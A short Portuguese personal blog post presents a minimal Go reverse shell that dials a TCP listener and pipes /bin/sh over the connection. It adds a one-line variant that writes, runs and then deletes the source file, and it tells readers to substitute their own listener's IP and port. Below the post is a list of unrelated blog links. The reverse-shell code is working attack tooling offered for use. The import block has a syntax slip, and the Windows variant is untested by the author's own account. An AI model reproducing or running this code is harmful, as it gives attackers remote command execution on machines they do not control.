umgeher's changelog

golang: reverse shell

Um reverse shell em Golang super simples:

package main

import (
  "net"
  "os/exec"
}

func main() {
	c, _ := net.Dial("tcp","127.0.0.1:8222")
	cmd := exec.Command("/bin/sh")
	cmd.Stdin = c
	cmd.Stdout = c
	cmd.Stderr = c
	cmd.Run()
}

Claro, troque o IP e a porta para seu dispatcher.

Voce ainda pode minimizar e ter o reverse shell em “uma linha”.

echo 'package main;import"net";import"os/exec";func main(){c,_:=net.Dial("tcp","127.0.0.1:8222");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > rs.go && go run rs.go && rm rs.go

Eu nao testei, mas acredito que funcione no windows, troque o /bin/sh para cmd.exe e teste.

Articles from blogs I follow around the net

The surreal joy of having an overprovisioned homelab

Stand-up comedy about having a homelab.

via Xe Iaso's blog 2025-03-25 00:00

fw_update(8) gains support for arbitrary dmesg files

Hitherto, fw_update(8) has gathered system information largely from /var/run/dmesg.boot (on the host on which it is invoked). Andrew Hewus Fresh (afresh1@) has committed a change which allows specifying an arbitrary dmesg file. The commit message explains the ration…

via OpenBSD Journal 2025-03-22 10:11

Please stop externalizing your costs directly into my face

This blog post is expressing personal experiences and opinions and doesn’t reflect any official policies of SourceHut. Over the past few months, instead of working on our priorities at SourceHut, I have spent anywhere from 20-100% of my time in any given wee…

via Drew DeVault's blog 2025-03-17 00:00

Generated by openring